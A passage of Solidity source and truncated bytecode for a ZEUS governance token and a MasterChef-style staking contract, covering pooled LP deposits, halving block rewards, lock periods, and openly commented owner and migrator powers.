{IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts\ZEUSToken.sol pragma solidity 0.6.12; // ZEUSToken with Governance. contract ZEUSToken is ERC20("ZEUSToken", "ZEUS"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "ZEUS::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "ZEUS::delegateBySig: invalid nonce"); require(now <= expiry, "ZEUS::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "ZEUS::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ZEUSs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "ZEUS::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts\zeusmain.sol pragma solidity 0.6.12; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to ZEUSSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // ZEUSSwap must mint EXACTLY the same amount of ZEUSSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // ZEUSMain is the master of ZEUS. He can make ZEUS and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once ZEUS is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract ZEUSMain is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of ZEUSs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accZEUSPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accZEUSPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. bool bChange; // bool bLock; // bool bDepositFee; // uint256 depositMount; // uint256 changeMount; // uint256 allocPoint; // How many allocation points assigned to this pool. ZEUSs to distribute per block. uint256 lastRewardBlock; // Last block number that ZEUSs distribution occurs. uint256 accZEUSPerShare; // Accumulated ZEUSs per share, times 1e12. See below. } struct AreaInfo { uint256 totalAllocPoint; uint256 rate; } // The ZEUS TOKEN! ZEUSToken public zeus; // Dev address. address public devaddr; // min per block mint uint256 public minPerBlock; // ZEUS tokens created per block. uint256 public zeusPerBlock; uint256 public halfPeriod; uint256 public lockPeriods; // lock periods // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. //PoolInfo[] public poolInfo; mapping (uint256 => PoolInfo[]) public poolInfo; // Info of each user that stakes LP tokens. //mapping (uint256 => mapping (address => UserInfo)) public userInfo; mapping (uint256 => mapping(uint256 => mapping (address => UserInfo))) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. //uint256 public totalAllocPoint = 0; AreaInfo[] public areaInfo; uint256 public totalRate = 0; // The block number when ZEUS mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount); constructor( ZEUSToken _zeus, address _devaddr, uint256 _zeusPerBlock, uint256 _startBlock, uint256 _minPerBlock, uint256 _halfPeriod, uint256 _lockPeriods ) public { zeus = _zeus; devaddr = _devaddr; zeusPerBlock = _zeusPerBlock; minPerBlock = _minPerBlock; startBlock = _startBlock; halfPeriod = _halfPeriod; lockPeriods = _lockPeriods; } function buyBackToken(address payable buybackaddr) public onlyOwner { require(buybackaddr != address(0), "buy back is addr 0"); buybackaddr.transfer(address(this).balance); } function areaLength() external view returns (uint256) { return areaInfo.length; } function poolLength(uint256 _aid) external view returns (uint256) { return poolInfo[_aid].length; } function addArea(uint256 _rate, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdateAreas(); } totalRate = totalRate.add(_rate); areaInfo.push(AreaInfo({ totalAllocPoint: 0, rate: _rate })); } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _aid, uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _bLock, bool _bDepositFee, uint256 _depositFee) public onlyOwner { if (_withUpdate) { massUpdatePools(_aid); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.add(_allocPoint); poolInfo[_aid].push(PoolInfo({ lpToken: _lpToken, bChange: false, bLock: _bLock, bDepositFee: _bDepositFee, depositMount: _depositFee, changeMount: 0, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accZEUSPerShare: 0 })); } function setArea(uint256 _aid, uint256 _rate, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdateAreas(); } totalRate = totalRate.sub(areaInfo[_aid].rate).add(_rate); areaInfo[_aid].rate = _rate; } // Update the given pool's zeus allocation point. Can only be called by the owner. function set(uint256 _aid, uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _bChange, uint256 _changeMount, bool _bLock, bool _bDepositFee, uint256 _depositFee) public onlyOwner { if (_withUpdate) { massUpdatePools(_aid); } areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(poolInfo[_aid][_pid].allocPoint).add(_allocPoint); poolInfo[_aid][_pid].allocPoint = _allocPoint; poolInfo[_aid][_pid].bChange = _bChange; poolInfo[_aid][_pid].bLock = _bLock; poolInfo[_aid][_pid].changeMount = _changeMount; poolInfo[_aid][_pid].bDepositFee = _bDepositFee; poolInfo[_aid][_pid].depositMount = _depositFee; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _aid, uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_aid][_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Reduce by 50% per halfPeriod blocks. function getBlockReward(uint256 number) public view returns (uint256) { if (number < startBlock){ return 0; } uint256 mintBlocks = number.sub(startBlock); uint256 exp = mintBlocks.div(halfPeriod); if (exp == 0) return 100000000000000000000; if (exp == 1) return 80000000000000000000; if (exp == 2) return 60000000000000000000; if (exp == 3) return 40000000000000000000; if (exp == 4) return 20000000000000000000; if (exp == 5) return 10000000000000000000; if (exp == 6) return 8000000000000000000; if (exp == 7) return 6000000000000000000; if (exp == 8) return 4000000000000000000; if (exp == 9) return 2000000000000000000; if (exp >= 10) return 1000000000000000000; return 0; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if(_from < startBlock){ _from = startBlock; } if(_from >= _to){ return 0; } uint256 blockReward1 = getBlockReward(_from); uint256 blockReward2 = getBlockReward(_to); uint256 blockGap = _to.sub(_from); if(blockReward1 != blockReward2){ uint256 blocks2 = _to.mod(halfPeriod); uint256 blocks1 = blockGap.sub(blocks2); return blocks1.mul(blockReward1).add(blocks2.mul(blockReward2)); } return blockGap.mul(blockReward1); } // View function to see pending ZEUSs on frontend. function pendingZEUS(uint256 _aid, uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_aid][_pid]; UserInfo storage user = userInfo[_aid][_pid][_user]; uint256 accZEUSPerShare = pool.accZEUSPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ZEUSReward = multiplier.mul(pool.allocPoint).div(areaInfo[_aid].totalAllocPoint); accZEUSPerShare = accZEUSPerShare.add((ZEUSReward.mul(1e12).div(lpSupply)).mul(areaInfo[_aid].rate).div(totalRate)); } return user.amount.mul(accZEUSPerShare).div(1e12).sub(user.rewardDebt); } function massUpdateAreas() public { uint256 length = areaInfo.length; for (uint256 aid = 0; aid < length; ++aid) { massUpdatePools(aid); } } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools(uint256 _aid) public { uint256 length = poolInfo[_aid].length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(_aid, pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _aid, uint256 _pid) public { PoolInfo storage pool = poolInfo[_aid][_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 zeusReward = multiplier.mul(pool.allocPoint).div(areaInfo[_aid].totalAllocPoint); zeus.mint(devaddr, zeusReward.div(20)); zeus.mint(address(this), zeusReward); pool.accZEUSPerShare = pool.accZEUSPerShare.add((zeusReward.mul(1e12).div(lpSupply)).mul(areaInfo[_aid].rate).div(totalRate)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to ZEUSMain for ZEUS allocation. function deposit(uint256 _aid, uint256 _pid, uint256 _amount) payable public { PoolInfo storage pool = poolInfo[_aid][_pid]; UserInfo storage user = userInfo[_aid][_pid][msg.sender]; if (_amount > 0){ require((pool.bDepositFee == false) || (pool.bDepositFee == true && msg.value == pool.depositMount), "deposit: not enough"); } updatePool(_aid, _pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accZEUSPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeZEUSTransfer(msg.sender, pending); } } else { if (pool.bChange == true) { pool.allocPoint += pool.changeMount; areaInfo[_aid].totalAllocPoint += pool.changeMount; } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accZEUSPerShare).div(1e12); emit Deposit(msg.sender, _aid, _pid, _amount); } // Withdraw LP tokens from ZEUSMain. function withdraw(uint256 _aid, uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_aid][_pid]; UserInfo storage user = userInfo[_aid][_pid][msg.sender]; require((pool.bLock == false) || (pool.bLock && (block.number >= (startBlock.add(lockPeriods)))), "withdraw: pool lock"); require(user.amount >= _amount, "withdraw: not good"); updatePool(_aid, _pid); uint256 pending = user.amount.mul(pool.accZEUSPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeZEUSTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } if (user.amount == 0) { if (pool.bChange == true) { uint256 changenum = pool.allocPoint > pool.changeMount ? pool.changeMount : 0; pool.allocPoint = pool.allocPoint.sub(changenum); areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(changenum); } } user.rewardDebt = user.amount.mul(pool.accZEUSPerShare).div(1e12); emit Withdraw(msg.sender, _aid, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _aid, uint256 _pid) public { PoolInfo storage pool = poolInfo[_aid][_pid]; UserInfo storage user = userInfo[_aid][_pid][msg.sender]; require((pool.bLock == false) || (pool.bLock && (block.number >= (startBlock.add(lockPeriods)))), "withdraw: pool lock"); pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _aid, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; if (pool.bChange == true) { uint256 changenum = pool.allocPoint > pool.changeMount ? pool.changeMount : 0; pool.allocPoint = pool.allocPoint.sub(changenum); areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(changenum); } } // Safe ZEUS transfer function, just in case if rounding error causes pool to not have enough ZEUSs. function safeZEUSTransfer(address _to, uint256 _amount) internal { uint256 ZEUSBal = zeus.balanceOf(address(this)); if (_amount > ZEUSBal) { zeus.transfer(_to, ZEUSBal); } else { zeus.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
0x6080604052600436106101f85760003560e01c80637cd07e471161010d578063a41fe49f116100a0578063c7d0bbfd1161006f578063c7d0bbfd1461070c578063d49e77cd14610721578063e38999c014610736578063f2fde38b146107b7578063f974a545146107ea576101f8565b8063a41fe49f14610608578063a66780491461063e578063c07896c814610670578063c2c37fd4146106af576101f8565b80638dbb1e3a116100dc5780638dbb1e3a1461053f5780639178c8821461056f57806394f7f62b146105ae57806396ed7f89146105d8576101f8565b80637cd07e47146104b157806388d1366c146104e25780638d88a90e146104f75780638da5cb5b1461052a576101f8565b80632509e086116101905780633e54bacb1161015f5780633e54bacb1461040f57806342a66f681461043f57806348cd4cb1146104545780634c8ff75d14610469578063715018a61461049c576101f8565b80632509e086146103835780632555cdd71461039857806329424c91146103ad578063294eb12d146103d7576101f8565b806316dfb168116101cc57806316dfb168146102c85780631ba9879d1461030b5780631f276b6e1461032057806323cf311814610350576101f8565b8062aeef8a146101fd57806302350fac1461022857806304bd974a1461028c57806306bc3919146102b3575b600080fd5b6102266004803603606081101561021357600080fd5b5080359060208101359060400135610814565b005b34801561023457600080fd5b50610226600480360361012081101561024c57600080fd5b508035906020810135906040810135906060810135151590608081013515159060a08101359060c081013515159060e08101351515906101000135610a19565b34801561029857600080fd5b506102a1610c7f565b60408051918252519081900360200190f35b3480156102bf57600080fd5b506102a1610c85565b3480156102d457600080fd5b506102f2600480360360208110156102eb57600080fd5b5035610c8b565b6040805192835260208301919091528051918290030190f35b34801561031757600080fd5b506102a1610cb6565b34801561032c57600080fd5b506102266004803603604081101561034357600080fd5b5080359060200135610cbc565b34801561035c57600080fd5b506102266004803603602081101561037357600080fd5b50356001600160a01b0316610e6f565b34801561038f57600080fd5b506102a1610ee9565b3480156103a457600080fd5b506102a1610eef565b3480156103b957600080fd5b506102a1600480360360208110156103d057600080fd5b5035610ef5565b3480156103e357600080fd5b50610226600480360360608110156103fa57600080fd5b50803590602081013590604001351515610f0a565b34801561041b57600080fd5b506102266004803603604081101561043257600080fd5b5080359060200135610fd5565b34801561044b57600080fd5b506102a1611242565b34801561046057600080fd5b506102a1611248565b34801561047557600080fd5b506102266004803603602081101561048c57600080fd5b50356001600160a01b031661124e565b3480156104a857600080fd5b5061022661132f565b3480156104bd57600080fd5b506104c66113d1565b604080516001600160a01b039092168252519081900360200190f35b3480156104ee57600080fd5b506104c66113e0565b34801561050357600080fd5b506102266004803603602081101561051a57600080fd5b50356001600160a01b03166113ef565b34801561053657600080fd5b506104c661145c565b34801561054b57600080fd5b506102a16004803603604081101561056257600080fd5b508035906020013561146b565b34801561057b57600080fd5b506102a16004803603606081101561059257600080fd5b50803590602081013590604001356001600160a01b031661151b565b3480156105ba57600080fd5b506102a1600480360360208110156105d157600080fd5b50356116dc565b3480156105e457600080fd5b50610226600480360360408110156105fb57600080fd5b5080359060200135611855565b34801561061457600080fd5b506102266004803603606081101561062b57600080fd5b5080359060208101359060400135611a91565b34801561064a57600080fd5b506102266004803603604081101561066157600080fd5b50803590602001351515611d03565b34801561067c57600080fd5b506102f26004803603606081101561069357600080fd5b50803590602081013590604001356001600160a01b0316611df1565b3480156106bb57600080fd5b50610226600480360360e08110156106d257600080fd5b508035906020810135906001600160a01b03604082013516906060810135151590608081013515159060a081013515159060c00135611e1b565b34801561071857600080fd5b50610226611fe5565b34801561072d57600080fd5b506104c6612004565b34801561074257600080fd5b506107666004803603604081101561075957600080fd5b5080359060200135612013565b604080516001600160a01b03909a168a5297151560208a0152951515888801529315156060880152608087019290925260a086015260c085015260e084015261010083015251908190036101200190f35b3480156107c357600080fd5b50610226600480360360208110156107da57600080fd5b50356001600160a01b0316612089565b3480156107f657600080fd5b506102266004803603602081101561080d57600080fd5b5035612181565b600083815260086020526040812080548490811061082e57fe5b60009182526020808320878452600982526040808520888652835280852033865290925292206006909102909101915082156108de578154600160b01b900460ff16158061089757508154600160b01b900460ff16151560011480156108975750816001015434145b6108de576040805162461bcd60e51b81526020600482015260136024820152720c8cae0dee6d2e87440dcdee840cadcdeeaced606b1b604482015290519081900360640190fd5b6108e88585611855565b805415610941576000610929826001015461092364e8d4a5100061091d876005015487600001546121b190919063ffffffff16565b90612211565b90612253565b9050801561093b5761093b3382612295565b5061098c565b8154600160a01b900460ff1615156001141561098c57600282015460038301805482019055600a80548790811061097457fe5b60009182526020909120600290910201805490910190555b82156109b85781546109a9906001600160a01b0316333086612425565b80546109b5908461247f565b81555b600582015481546109d39164e8d4a510009161091d916121b1565b60018201556040805184815290518591879133917f36af321ec8d3c75236829c5317affd40ddb308863a1236d2d277a4025cccee1e919081900360200190a45050505050565b610a216124d9565b6000546001600160a01b03908116911614610a71576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b8515610a8057610a8089612181565b610ae187610adb600860008d81526020019081526020016000208b81548110610aa557fe5b906000526020600020906006020160030154600a8d81548110610ac457fe5b600091825260209091206002909102015490612253565b9061247f565b600a8a81548110610aee57fe5b90600052602060002090600202016000018190555086600860008b81526020019081526020016000208981548110610b2257fe5b90600052602060002090600602016003018190555084600860008b81526020019081526020016000208981548110610b5657fe5b906000526020600020906006020160000160146101000a81548160ff02191690831515021790555082600860008b81526020019081526020016000208981548110610b9d57fe5b906000526020600020906006020160000160156101000a81548160ff02191690831515021790555083600860008b81526020019081526020016000208981548110610be457fe5b90600052602060002090600602016002018190555081600860008b81526020019081526020016000208981548110610c1857fe5b906000526020600020906006020160000160166101000a81548160ff02191690831515021790555080600860008b81526020019081526020016000208981548110610c5f57fe5b906000526020600020906006020160010181905550505050505050505050565b600a5490565b60035481565b600a8181548110610c9857fe5b60009182526020909120600290910201805460019091015490915082565b60045481565b6000828152600860205260408120805483908110610cd657fe5b60009182526020808320868452600982526040808520878652835280852033865290925292206006909102909101805490925060ff600160a81b909104161580610d4157508154600160a81b900460ff168015610d415750600654600c54610d3d9161247f565b4310155b610d88576040805162461bcd60e51b815260206004820152601360248201527277697468647261773a20706f6f6c206c6f636b60681b604482015290519081900360640190fd5b80548254610da3916001600160a01b039091169033906124dd565b805460408051918252518491869133917f2369db1bafee945aee5630782f4a170682e3f8188d8dc247a4c73eb8c9e692d2919081900360200190a460008082556001808301919091558254600160a01b900460ff1615151415610e695760008260020154836003015411610e18576000610e1e565b82600201545b6003840154909150610e309082612253565b8360030181905550610e4981600a8781548110610ac457fe5b600a8681548110610e5657fe5b6000918252602090912060029091020155505b50505050565b610e776124d9565b6000546001600160a01b03908116911614610ec7576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60065481565b60055481565b6000818152600860205260409020545b919050565b610f126124d9565b6000546001600160a01b03908116911614610f62576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b8015610f7057610f70611fe5565b610fa782610adb600a8681548110610f8457fe5b906000526020600020906002020160010154600b5461225390919063ffffffff16565b600b8190555081600a8481548110610fbb57fe5b906000526020600020906002020160010181905550505050565b6007546001600160a01b0316611029576040805162461bcd60e51b815260206004820152601460248201527336b4b3b930ba329d1037379036b4b3b930ba37b960611b604482015290519081900360640190fd5b600082815260086020526040812080548390811061104357fe5b6000918252602080832060069092029091018054604080516370a0823160e01b815230600482015290519295506001600160a01b03909116939284926370a08231926024808201939291829003018186803b1580156110a157600080fd5b505afa1580156110b5573d6000803e3d6000fd5b505050506040513d60208110156110cb57600080fd5b50516007549091506110ea906001600160a01b0384811691168361252f565b6007546040805163ce5494bb60e01b81526001600160a01b0385811660048301529151600093929092169163ce5494bb9160248082019260209290919082900301818787803b15801561113c57600080fd5b505af1158015611150573d6000803e3d6000fd5b505050506040513d602081101561116657600080fd5b5051604080516370a0823160e01b815230600482015290519192506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156111b257600080fd5b505afa1580156111c6573d6000803e3d6000fd5b505050506040513d60208110156111dc57600080fd5b50518214611220576040805162461bcd60e51b815260206004820152600c60248201526b1b5a59dc985d194e8818985960a21b604482015290519081900360640190fd5b83546001600160a01b0319166001600160a01b03919091161790925550505050565b600b5481565b600c5481565b6112566124d9565b6000546001600160a01b039081169116146112a6576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b6001600160a01b0381166112f6576040805162461bcd60e51b81526020600482015260126024820152710627579206261636b206973206164647220360741b604482015290519081900360640190fd5b6040516001600160a01b038216904780156108fc02916000818181858888f1935050505015801561132b573d6000803e3d6000fd5b5050565b6113376124d9565b6000546001600160a01b03908116911614611387576040805162461bcd60e51b81526020600482018190526024820152600080516020612a65833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b031681565b6001546001600160a01b031681565b6002546001600160a01b0316331461143a576040805162461bcd60e51b81526020600482015260096024820152686465763a207775743f60b81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160